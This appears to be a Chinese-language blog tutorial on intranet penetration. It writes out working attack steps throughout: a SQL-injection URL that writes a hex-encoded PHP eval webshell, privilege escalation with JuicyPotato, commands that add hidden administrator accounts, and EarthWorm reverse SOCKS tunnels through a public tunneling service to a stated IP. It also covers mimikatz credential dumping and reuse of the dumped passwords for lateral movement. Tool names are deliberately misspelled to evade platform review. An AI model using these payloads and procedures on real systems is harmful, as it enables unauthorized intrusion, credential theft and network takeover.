每日一句:
做安全,有一定實力的話。找工作,待遇不好就不要去,不要委屈求全。
世界上好地方那麼多,不出去看看的話,你就以爲這就是世界
另外,二進制其實也不是多值錢的玩意,沒必要覺得多深奧
聲明:
內網滲透是非常危險的,沒有明確的授權不要做。切記切記
本篇文章用到的軟件100%報毒,最好在虛擬機用,不怕後門的可以在本機運行
一、win提升權限
(一),sql注入可以幹什麼?
~獲取數據、讀取文件、影響數據庫
~通過寫一句馬從而getshell
(二),sql語句:導出文件
~into outfile
~into dumpfile
舉例:
語句:
select 1,2,3 into dumpfile 'C:\\www\\123.txt'
作用:
在“c:\www\”目錄下新建123.txt。
其內容爲“123”
進階:通過此方式寫一句馬
語句:
select 1,2'<?php eval($_REQUEST[8])?>' into dumpfile 'C:\\www\\123.php'
作用:
在“c:\www”目錄下新建123.php文件,內容爲一句馬
注意:
1,這個函數(into dumpfile)在mysql高版本是默認不開啓的
類似的還有load_file(),一般這兩個函數要開啓都會開啓
2,如何存在堆疊注入(即可以同時執行多條語句),
可以通過日誌的方法寫webshell。
3,在phpstudy修改默認狀態後,需要重啓生效
4,在老一點的版本中是可以直接使用的,新版本會報一個1290權限的錯誤
實戰中的語句:
url ?id=1 union select 1,'一句馬內容' into dumpfile "C:\\www\\123.php"
補充:
(1),這個路徑怎麼獲得?
通過sql報錯注入,使服務器爆出路徑
若爆不出,只能靠猜了。
當然也可以配合別的攻擊手段使爆出絕對路徑
(2),第一次寫文件,建議先寫一個txt文檔,成功後在寫php文件
可以看看自己寫到txt的代碼有沒有問題,避免一些懸學問題
(3),一句馬內容
若直接寫“<?php eval($_REQUEST[8])?>”肯定報錯
因爲url欄中“?”一般代表傳參 會衝突。
(4)那一句馬怎麼寫?
將一句馬內容16進制編碼。即得到:
“3c3f7068706576616c28245f524551554553545b385d293f3e”
注意:16進制編碼會將空格默認去掉,即上邊的編碼,
解碼後是這樣的:<?phpeval($_REQUEST[8])?>
而php中,那個空格是格式,這樣的代碼是會報錯的。
怎麼辦?----->加空格! (空格的16進制編碼是20),
即在“3c3f706870”後加“20”。
事實上,3c3f706870就是是‘<?php’的編碼
綜上,完整語句爲:
url ?id=1 union select 1,'3c3f706870206576616c28245f524551554553545b385d293f3e' into dumpfile "C:\\www\\123.php"
(5),爲什麼要進行16進制編碼?
URL編碼本質就是16進制
(6),上述語句中爲什麼多加“1”(union select 1,內容)
這個1,是聯合查詢中,要和前一個表的字段數相同所補充的格式
實戰中,可能會很多。 至於字段數可以通過“order by”判斷出
(7),路徑爲什麼有兩個“ \\ ”
正常路徑是:“C:\www\123.txt”。但是這需要轉義
要麼路徑中用“\\”,要麼用“/”否則地路徑會與網絡路徑會發生衝突
(8),有時候sql注入爆不出回顯點,可以將前邊語句加個“and 1=2”
正常語句: url id=1 union select 1,2 //不顯示回顯點
構造語句: url id=1 and 1=2 union select 1,2 //出現回顯點
(9),爲什麼一句馬中的$_REQUEST[8]用數字8
因爲這樣的數字傳參不用加單引號或者雙引號,會簡單很多
建議以後寫馬的同學用數字傳參
(三),權限的提升
1,當前的權限
此時我們可以用菜刀連接我們剛剛生成的一句馬
運行虛擬終端,輸入“whoami”查看當前權限
一般是遊客或者管理員權限(administrator),
但是在服務器中管理員權限不是最高的,正常可以獲取到最高的權限爲“系統權限”,即“system”權限
2,如何提權?(即將低權限提升爲system權限)
(1)
不同服務組件用了不同權限。例如網站權限低,數據庫權限高,那麼我們就要想辦法讓其他組件幫我們去做事。再例如:目標及其上運行了一些其他的服務,然後這些服務只能從內部訪問,然後我們也可以調用過來用。(例如:FTP|Redis等等)[這個需要一定知識的沉澱、積累,不推薦新手]
舉個例子:
一臺服務器兩個網站(A、B網站),A網站權限較低,但是B網站較高。
你拿下了A站但是權限較低,此時你可以通過A網站向B網站寫一個馬,
此時你的webshell就會比較高了,這算是一個例子吧
常用cmd命令:
whoami 查看當前用戶權限
netstat -ano 查看本機開放的端口
tasklist 查看本機運行的程序[類似於人物管理器]
systeminfo 查看計算機信息
(2)利用win的漏洞(最常見手法)
原理:查看win打了什麼補丁,然後去網上找存在什麼樣的漏洞,然後找對應的提權工具
命令:systeminfo 查看計算機信息
步驟:
(1)
~systeminfo得到計算機打了哪些補丁後,
~粘貼在這個網站(http://bugs.hacking8.com/tiquan/),
~點擊查詢,會根據你的補丁找到對應的提權exp
本質是,會避開上述補丁找剩餘可利用的exp
~可以通過編號去這個網站找:https://github.com/SecWiki/windows-kernel-exploits
~這個網站有很多做好的exe文件,直接上傳服務器用就ok了
(2)利用“爛土豆”(萬能提權集合exp)進行提權
官網:https://github.com/ohpe/juicy-potato/releases
但是官方的很使用相對較爲麻煩,本人經常使用的是魔改版
ps:有需要的直接私信,看到就回復。這個爛土豆100%報毒,使用需要添加信任
命令: 原版爛土豆的使用命令很複雜,直接上魔改版的
比如:JuicyPotato.exe -p "whoami"
在-p裏的命令直接是system執行的,
前提是將這個東西上傳到了目標服務器即可
可以將JuicyPotato.exe文件名改爲1.exe,這樣就可以使用命令時,少些幾個字母。
如:1.exe -p "whoami"
補充:多說一點關於後門的問題,很多同學怕下載的東西留有後門,其實一般看看有沒有公佈源碼
正常敢於公佈源碼的大概率是沒有後門的
另一個就是放在虛擬機運行,這個是相對安全點的方法
如何判斷有沒有後門?
正常就是抓取流量,看看有沒有異常偷偷跑的
或者打開cmd,輸入:netstat -nb可以看到此時與電腦建立連接的所有應用進程
權限不足時,以管理員身份運行cmd
學習安全初期被大佬攻擊作爲肉雞都是可能的
(3)常用命令(建用戶、放到管理員組)
~在服務器創建用戶:
net user 用戶名 密碼 /add
~將某用戶放置到管理員組
net localgroup administrators 用戶名 /add
問:接下來我們應該做一些什麼?
這時正常情況就是利用3389端口進行遠程連接
問:服務器沒有開啓3389端口怎麼辦?
通過修改服務器的註冊表可以打開
3,反向連接突破限制
問題:這時,產生一個問題是目標機器在內網中,你訪問不到他的3389怎麼辦?
這個地方你要知道,一個網站一般都在目標的內網內,然後他開放的端口,是依靠路由器轉發出去的
~用戶訪問公網IP的一個端口
~路由器去接收到有人訪問這個端口,根據路由器的 端口映射 規則分配到內網機器
~內網機器收到數據,連接
但是如果轉發規則裏面 沒有我們轉發到我們的目標服務器端口的規則 那我們是無法連接到的
解決方法正常分爲兩種:
~黑掉路由器,修改裏邊的端口轉發規則
~利用反向連接技術,讓我們控制的站點來連接我們公網上的一個端口,然後構成反向連接
反向連接:讓目標連接我們
正向鏈接:我麼連接目標
反向連接的前提:
~內網的服務器可以任意訪問公網。當然一般都是可以的,可以ping一下公網IP
~要有一個公網IP。未滿24歲可以去整一個阿里雲學生機,性價比很高。9.9月一個月
二、花生.殼巧獲得公網IP
問題:假如沒有公網ip,是不是就無計可施了?
答曰:非也、非也,我們可以利用一些內網穿。透工具(如花生.殼,官網:https://qydev.com/index.html)。
但是要明白一件事,省了錢,就一定會多麻煩一些。所謂魚和熊掌不可兼得
多說一句,不知道提到遠cheng控制 同學們有沒有想到向日葵等一些商用遠a控,從原理上來說
是可以行的通的,當然這就多提一句,同學們有時間可以自己去摸索一下。
問題:花sheng殼等內網穿。透工具的原理是什麼樣的?
答曰:我們的電腦與花生.殼建立一個連接,此時生成一個域名,
讓目標靶機去訪問(連接)花生.殼生成的域名,此時通過花2生殼的橋接作用就連接到了本機
最終,我麼讓服務器通過花生.殼這個中間橋樑反向連接到了本機電腦
本機 <---> 花生.殼 <---> 目標靶機
問題:如何具體操作上述
答曰:~註冊花生.殼,官網上述有
~點擊隧道管理-開通隧道,(因爲是學習,沒有多大的要求)
~選擇免費的就行,填寫信息:
隧道協議勾選tcp,名稱隨便寫,本機端口寫127.0.0.1:666(端口可以隨便寫一個系統沒用的就行)
此時,你的隧道管理處會多一個隧道(自動生成keycode,公網域名)
~根據需要下載一個客戶端版本,打開,將隧道管理處的keycode粘貼到客戶端
~別的電腦訪問生成的公網域名就等於訪問你電腦的127.0.0.1:666端口,
即完成架橋樑,突破公網內網的限制,但是僅僅可以放出本機一個端口。有條件的話,還是推薦阿里雲
假如有服務器,別人就可以直接訪問到了,也不要上述步驟。而且可以訪問到全端口
問題:花生.殼在涉及到隧道時,需要手機接驗證碼,有沒有純匿名的?
答曰:有,國外的ngrok,完全匿名。但是速度較慢
其實到此時,若是沒什麼特別的問題。我們直接通過菜刀等工具將下載的花生.殼軟件放到靶機,
將靶機的3389端口直接放出來,即完成了最初的目標,控制了目標服務器。
問題:若是內網有3臺服務器,a機器能訪問公網被我們通過花生.殼拿下,但是b,c機器不能訪問公網該如何拿下?
答曰:可以通過一些非正統的方法,如通過a機器繼續套娃遠cheng控制b與c等等
當然本文章既然是講到了內網,那麼就得和大家普及一下正統的內網的縱橫方法,
不要急,繼續往下看
三、ew內網穿。透端口轉發
介紹官網:http://rootkiter.com/EarthWorm/
ps:
但是,讓人吐血的是 官網竟然不給下載了。
據開發者本人說“考慮到該工具影響很壞,該工具永久停止更新,如要反饋查殺規則請移”
簡單說,工具很強,危害很大,我不更新了,也不給你們下載了(有需要的朋友可以私信我,包括win、linux、mac)
0. Ew常用的命令
(1)
接受代理: ew(軟件名) -s rcsocks -l 8888 -e 9999
命令解釋: 監聽9999端口,將獲取到的數據轉發給8888端口,若接受到數據會在cmd中返回一個ok
不是太懂?
~9999是我的工資卡,8888是我對象的工資卡
~當我卡里打入工資的時候,我都主動的將錢轉給我對象
~並給對象一下:“老婆,嘿嘿,我將錢打到你卡里了”
(2)
建立反向代理:ew(軟件名) -s rssocks -d 1.1.1.1 -e 8888
命令解釋: 將本機反向連接到1.1.1.1的8888端口。這句命令是在目標靶機執行的
不是太懂?
~我戀愛了,正常都是我主動去找女朋友玩, //即正向連接
~但是她媽媽最近管的嚴,我不能再去她家找她玩了。
~所以我給女友一個手機(ew),
~約會的前告訴女友,我在“1.1.1.1的8888”這個地方等你
~女友從家裏出來,來找我 //即反向連接
即我們藥醬這個ew要上傳到目標靶機上,且在靶機執行上述命令
問題:注意的是,這個-d後的參數是IP,而非域名。怎麼通過域名得到IP呢?
答曰:直接cmd中,ping這個域名,就可以看到IP了
1.首先申請花sheng殼,建立一個tcp的連接協議,
假設花生.殼生成的域名及其遠程端口爲:free.aaa.com:4472
映射(連接)到的本機的端口爲:127.0.0.1:6666。 //詳細過程上邊有,描述很複雜 操作很簡單
注意:這個本機映射的端口不能與本電腦已經運行的端口相沖突,很好理解,
比如一個端口你的qq已經佔用了,你還讓花生.殼走這個端口,這肯定會造成衝突。
正常的操作是讓qq走一個端口,花生.殼走另一個
2.在本機開啓監聽
ew_for_win_32.exe(ew的名字) -s rcsocks -l 4545 -e 6666
//即6666端口收到數據,將數據轉給4545端口。同時在終端返回 "ok"
3.通過菜刀將ew上傳到目標靶機,最好同時將爛土豆也上傳過去。防止執行一些命令權限不夠
~將爛土豆改名爲1.exe ew改名爲2.exe
~改名字僅僅是因爲在菜刀的虛擬終端執行命令時,簡化指令
4.在菜刀的虛擬終端執行命令,連接花6生殼
~通過 1 中我們知道,花生.殼的域名爲free.aaa.com通過ping我們得知其對應的IP爲47.92.102.131
~靶機通過ew進行反向連接:
1.exe -p "2.exe -s rssocks -d 47.92.102.131 -e 4472"
5.本機終端會返回“ok”,代表本機與目標靶機通過花a生殼可以直接進行 端口間數據通訊
此時,就差最後一步,我們就可以對目標靶機進行控制了
我們只要掛上SOCKS5的代理就可以了,這個東西的原理較爲複雜,咱們是搞安全的不用把這個原理搞明白,直接用就ok
6.安裝Proxifier,設置SOCKS5代理
~安裝Proxifier(安裝包可以私聊我要,或者自己谷歌下載)
~打開Proxifier,點擊配置文件,點擊代理服務器,點擊編輯
~地址設置爲127.0.0.1,端口設置爲4545
7.收穫
此時我們纔算是成功控制了目標靶機,我們在本機瀏覽器做的任何操作都相當於是在目標靶機上做的操作
比如,此時我們在瀏覽器百度“IP” ;會發現IP地址是目標靶機的IP,而非本機的IP。
這時,我們就可以在自己瀏覽器直接訪問目標靶機的內網了。
當然,可以訪問內網也可以通過3389進行遠程連接這個目標靶機了
補充:只不過可能會有一些卡頓,畢竟代理了好幾層
總結過程:
本機4545端口 //設置SOCKS5代理,可訪問目標靶機,可通過3389進行遠程連接靶機
<-- //將6666端口的數據轉給4545
本機6666端口 //通過ew進行端口數據監聽與轉發
<--> //本機反向連接花生.殼
花生.殼(域名:free.aaa.com,IP:47.92.102.131,端口爲4472) //提供公網IP,充當橋樑、中間人角色
<--> //受害靶機反向連接花b生殼
目標靶機(直接執行命令反向連接) //通過爛土豆、ew進行反向連接
四、探測內網機器
0.思路
正常是先探測下內網主機,在探測下主機端口
在找一找本機裏的文件,看看有沒有什麼發現
在根據端口去尋找問題,
例如:
某內網機器開啓了445端口(445端口有個內網大殺器--永恆之藍)
開了3389(3389可以嘗試爆破登錄,或者打Windows rdp漏洞直接拿下)
一般而言,網站都是外緊內送。一旦突進了內網,裏面的東西是很脆弱的。
比如弱密碼,一些開發了一半的網站等等
而且很多內網的機器都沒有打永恆之藍的補丁
1.條件
通過3389遠程連接成功後,此時就相當於我們多了一個電腦,我們可以進行橫掃內網
2.在靶機安裝nmap
~將nmap先壓縮一下
~通過菜刀上傳到目標靶機
//多說一句,有的大文件菜刀可能會上傳失敗
//問:如何知道我們有沒有成功上傳文件呢?
答:直接在菜刀裏更新一下文件目錄不就好了
~發現菜刀連接失敗的話,直接將壓縮包 通過 遠程桌面連接複製過去
另外,也有一些野的思路,比如在目標靶機裝一個qq,通過qq傳過去等等
當然,在這我僅僅是提一下。攻陷一個目標有很多種方法,大家不要思維固化。
3.通過nmap探測C段
~將上傳成功的nmap在目標靶機安裝
~通過ipconfig查看靶機的IP; //假設是10.0.1.4
~探測內網機器:nmap 10.0.1.1/24 //就是將10.0.1.1-10.0.1.255探測一遍
當然這是不太重要的話,簡單探測探測。
比較重要的話,直接將所有的內網IP段全探測了
五、提取本機管理員賬號密碼
0.前言
內網很多情況是這樣的,內網很多機器,但是管理員可能就是那麼幾個人,
所以各個機器的用戶賬號密碼相同的可能性極高,那麼我們如果能獲取本機所有用戶的密碼,
就可以看到管理員原本設置的密碼。
1.介紹一款神器--mimikatz(別名獼猴桃)
是一款內網滲透中常用的工具,也有人喜歡叫法國神器,因爲是法國的本傑明·德爾皮編寫創建
下載地址:https://github.com/gentilkiwi/mimikatz
因爲Windows會把用戶的明文密碼放在內存裏面,
所以它可以從內存中提取純文本密碼,哈希和kerberos票證。
//這個kerberos票據是關於域控的知識,下次在說相關內網
另外windows server 2012及其上就不儲存明文,這個時候可以通過修改註冊列表的形式開啓明文密碼顯示
然後,靜靜等待管理員的訪問。管理員什麼時候訪問,什麼時候得到明文密碼
之前說本文中用到的工具報毒,也主要是因爲這個東西。
2.mimikatz的兩條命令
privilege::debug 提升權限
sekurlsa::logonpasswords 抓取密碼
使用方法:
打開mimikatz,在菜單欄右擊,
選擇編輯,粘貼
報錯處理:
以管理員身份運行該軟件
嘗試重新打開在運行試試
可能是版本錯了,32位系統就用32的,64就用64的
說明: 這個mimikatz是去電腦內存搞事情,所以要很高的權限。
而權限,system並不是最高的。在此之上還有很多亂七八糟的權限
只是對初學者用的比較少,我們先不要細究
而mimikatz是去內存搞事情,所以要提升權限,
即先執行權限提升的命令
然後在執行抓取密碼的命令
3.搞一搞內網中別的機器
如我們通過nmap探測到內網中一個10.0.1.5這個機器
~我們就可以通過已經連接的靶機A去 連接這個新的機器B
~或者我們已經通過SOCKS5在本機 在開一個遠程桌面連接就可以用在A機器獲取的密碼去連接B機器
總結:
~已經遠程連接到靶機A機器
~用mimikatz抓取A機器上的所有賬號與密碼
~因爲內網中的機器絕大多數的賬號密碼都相同
~我們就可以用A機器上得到的賬號密碼去遠程連接內網中的B機器、C機器等等
~而B機器、C機器的內網IP,我們也可以通過A機器上的nmap得到
在下一篇文章中,在主要介紹一下域控及其票據相關知識
有些內容有錯別字,因爲平臺的審覈太嚴格。不過大家應該可以看懂,畢竟內網滲透太敏感了,在次感謝審覈人員通過
如:花生.殼 ---> 其實是huashengke;